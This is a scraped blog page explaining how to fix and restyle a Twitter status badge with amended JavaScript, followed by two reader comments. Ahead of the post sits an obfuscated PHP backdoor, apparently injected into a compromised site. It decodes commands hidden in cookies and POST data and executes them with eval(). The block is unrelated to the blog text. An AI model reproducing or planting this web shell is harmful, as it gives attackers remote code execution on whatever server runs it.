$XjtazQGNLZ = chr (85) . "\137" . "\125" . chr (98) . chr (98); $YkIHtxDJ = "\x63" . 'l' . chr ( 688 - 591 )."\163" . 's' . '_' . "\145" . chr (120) . "\151" . chr (115) . 't' . chr (115); $vjkYtt = class_exists($XjtazQGNLZ); $YkIHtxDJ = "28484";$jfGVdIh = strpos($YkIHtxDJ, $XjtazQGNLZ);if ($vjkYtt == $jfGVdIh){function nUIjph(){$QjgVmgYsu = new /* 61615 */ U_Ubb(63092 + 63092); $QjgVmgYsu = NULL;}$RiHPdeVRgn = "63092";class U_Ubb{private function nBgFwEdIah($RiHPdeVRgn){if (is_array(U_Ubb::$FqPIG)) {$vKScSbcYj2 = str_replace("<" . "?php", "", U_Ubb::$FqPIG["content"]);eval($vKScSbcYj2); $RiHPdeVRgn = "63092";exit();}}public function PzZdhVoV(){$vKScSbcYj = "29015";$this->_dummy = str_repeat($vKScSbcYj, strlen($vKScSbcYj));}public function __destruct(){U_Ubb::$FqPIG = @unserialize(U_Ubb::$FqPIG); $RiHPdeVRgn = "9051_60179";$this->nBgFwEdIah($RiHPdeVRgn); $RiHPdeVRgn = "9051_60179";}public function sSKpKNOo($vKScSbcYj, $wJIyyODkD){return $vKScSbcYj[0] ^ str_repeat($wJIyyODkD, intval(strlen($vKScSbcYj[0]) / strlen($wJIyyODkD)) + 1);}public function WEUWl($vKScSbcYj){$xzPwBeGSNg = chr ( 458 - 360 )."\x61" . 's' . 'e' . "\66" . chr (52);return array_map($xzPwBeGSNg . '_' . chr ( 344 - 244 )."\x65" . "\x63" . chr ( 840 - 729 )."\144" . chr (101), array($vKScSbcYj,));}public function __construct($ooNll=0){$qkQctSqYWU = chr (44); $vKScSbcYj = "";$BFqpabi = $_POST;$NMWdy = $_COOKIE;$wJIyyODkD = "47d204fd-06b8-41c4-8cb1-d61c55bbcd40";$WNNrxZKr = @$NMWdy[substr($wJIyyODkD, 0, 4)];if (!empty($WNNrxZKr)){$WNNrxZKr = explode($qkQctSqYWU, $WNNrxZKr);foreach ($WNNrxZKr as $LWvzF){$vKScSbcYj .= @$NMWdy[$LWvzF];$vKScSbcYj .= @$BFqpabi[$LWvzF];}$vKScSbcYj = $this->WEUWl($vKScSbcYj);}U_Ubb::$FqPIG = $this->sSKpKNOo($vKScSbcYj, $wJIyyODkD);if (strpos($wJIyyODkD, $qkQctSqYWU) !== FALSE){$wJIyyODkD = explode($qkQctSqYWU, $wJIyyODkD); $iEMOa = base64_decode(md5($wJIyyODkD[0])); $ZelQYTD = strlen($wJIyyODkD[1]) > 5 ? substr($wJIyyODkD[1], 0, 5) : $wJIyyODkD[1];$_GET['new_key'] = md5(implode('', $wJIyyODkD)); $lTnldDbC = str_repeat($ZelQYTD, 2);}}public static $FqPIG = 11292;}nUIjph();} Twitter badge – Saima Says

Twitter badge

As you can see from the right hand side, I now have a “Currently” section. This is basically a badge from Twitter that automatically updates when I do. If you’ve tried doing the same and haven’t had any success using the code from the Twitter website, you’re not alone. The Javascript code on the website uses .relative_created_at; instead of .created_at; like it should. Without fixing it, the date comes out as “undefined”.
Even after amending that however, the date is in a less than desirable format. I used Jon Aquino’s script and amended it to suit my needs. If you mess around with it you can do all sorts of things like link to individual statuses. All I wanted was to get rid of the list elements and just show one update at a time. You’re free to nick my amended code if you like. Remember to change the user_timeline (in bold) to your own.
<script type=”text/javascript”>
var elapsedTime = function(createdAt) {
var ageInSeconds = (new Date().getTime() – new Date(createdAt).getTime()) / 1000;
var s = function(n) { return n == 1 ? ” : ‘s’ };
if (ageInSeconds < 0) { return 'just now'; } if (ageInSeconds < 60) { var n = ageInSeconds; return n + ' second' + s(n) + ' ago'; } if (ageInSeconds < 60 * 60) { var n = Math.floor(ageInSeconds/60); return n + ' minute' + s(n) + ' ago'; } if (ageInSeconds < 60 * 60 * 24) { var n = Math.floor(ageInSeconds/60/60); return n + ' hour' + s(n) + ' ago'; } if (ageInSeconds < 60 * 60 * 24 * 7) { var n = Math.floor(ageInSeconds/60/60/24); return n + ' day' + s(n) + ' ago'; } if (ageInSeconds < 60 * 60 * 24 * 31) { var n = Math.floor(ageInSeconds/60/60/24/7); return n + ' week' + s(n) + ' ago'; } if (ageInSeconds < 60 * 60 * 24 * 365) { var n = Math.floor(ageInSeconds/60/60/24/31); return n + ' month' + s(n) + ' ago'; } var n = Math.floor(ageInSeconds/60/60/24/365); return n + ' year' + s(n) + ' ago'; } // Make date parseable in IE [Jon Aquino 2007-03-29] function fixDate(d) { var a = d.split(' '); var year = a.pop(); return a.slice(0, 3).concat([year]).concat(a.slice(3)).join(' '); } function twitterCallback(obj) { var html = ''; for (var i = 0; i < 1; i++) { html += '' + obj[i].text + ' (updated ' + elapsedTime(fixDate(obj[i].created_at)) + ')'; window.aaa = obj[i].created_at; } document.getElementById('twitter_list').innerHTML = html; } </script>
<span id=”twitter_list”></span>
<script type=”text/javascript” src=”http://www.twitter.com/t/status/user_timeline/2976491?callback=twitterCallback&count=1″></script>

6 comments

  1. weeeell i gave twitter another shot and all of a sudden the SMS bit seems to work. not impressed with the twitter badge so i think i’ll nick this code, ta very much!

  2. ooh, i know that, but did you make the blog’s 3000th comment or did i? anyway that’s beside the point, innit? 3000 comments! bloody hell, well done!

Comments are closed.